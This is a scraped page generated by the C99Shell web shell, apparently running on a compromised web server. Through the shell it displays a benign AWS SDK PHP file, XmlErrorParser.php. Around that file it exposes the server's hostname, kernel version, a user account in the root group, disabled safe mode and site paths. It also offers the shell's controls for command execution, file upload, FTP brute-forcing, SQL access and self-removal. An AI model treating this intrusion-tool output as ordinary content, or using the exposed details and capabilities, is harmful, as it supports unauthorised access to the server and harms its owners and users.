!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/Api/ErrorParser/   drwxr-xr-x
Free 28.73 GB of 117.98 GB (24.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     XmlErrorParser.php (3.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\Api\ErrorParser;

use 
Aws\Api\Parser\PayloadParserTrait;
use 
Aws\Api\Parser\XmlParser;
use 
Aws\Api\Service;
use 
Aws\Api\StructureShape;
use 
Aws\CommandInterface;
use 
Psr\Http\Message\ResponseInterface;

/**
 * Parses XML errors.
 */
class XmlErrorParser extends AbstractErrorParser
{
    use 
PayloadParserTrait;

    protected 
$parser;

    public function 
__construct(Service $api nullXmlParser $parser null)
    {
        
parent::__construct($api);
        
$this->parser $parser ?: new XmlParser();
    }

    public function 
__invoke(
        
ResponseInterface $response,
        
CommandInterface $command null
    
) {
        
$code = (string) $response->getStatusCode();

        
$data = [
            
'type' => $code[0] == '4' 'client' 'server',
            
'request_id' => null,
            
'code' => null,
            
'message' => null,
            
'parsed' => null
        
];

        
$body $response->getBody();
        if (
$body->getSize() > 0) {
            
$this->parseBody($this->parseXml($body$response), $data);
        } else {
            
$this->parseHeaders($response$data);
        }

        
$this->populateShape($data$response$command);

        return 
$data;
    }

    private function 
parseHeaders(ResponseInterface $response, array &$data)
    {
        if (
$response->getStatusCode() == '404') {
            
$data['code'] = 'NotFound';
        }

        
$data['message'] = $response->getStatusCode() . ' '
            
$response->getReasonPhrase();

        if (
$requestId $response->getHeaderLine('x-amz-request-id')) {
            
$data['request_id'] = $requestId;
            
$data['message'] .= " (Request-ID: $requestId)";
        }
    }

    private function 
parseBody(\SimpleXMLElement $body, array &$data)
    {
        
$data['parsed'] = $body;
        
$prefix $this->registerNamespacePrefix($body);

        if (
$tempXml $body->xpath("//{$prefix}Code[1]")) {
            
$data['code'] = (string) $tempXml[0];
        }

        if (
$tempXml $body->xpath("//{$prefix}Message[1]")) {
            
$data['message'] = (string) $tempXml[0];
        }

        
$tempXml $body->xpath("//{$prefix}RequestId[1]");
        if (isset(
$tempXml[0])) {
            
$data['request_id'] = (string)$tempXml[0];
        }
    }

    protected function 
registerNamespacePrefix(\SimpleXMLElement $element)
    {
        
$namespaces $element->getDocNamespaces();
        if (!isset(
$namespaces[''])) {
            return 
'';
        } 
        
        
// Account for the default namespace being defined and PHP not
        // being able to handle it :(.
        
$element->registerXPathNamespace('ns'$namespaces['']);
        return 
'ns:';
    }

    protected function 
payload(
        
ResponseInterface $response,
        
StructureShape $member
    
) {
        
$xmlBody $this->parseXml($response->getBody(), $response);
        
$prefix $this->registerNamespacePrefix($xmlBody);
        
$errorBody $xmlBody->xpath("//{$prefix}Error");

        if (
is_array($errorBody) && !empty($errorBody[0])) {
            return 
$this->parser->parse($member$errorBody[0]);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--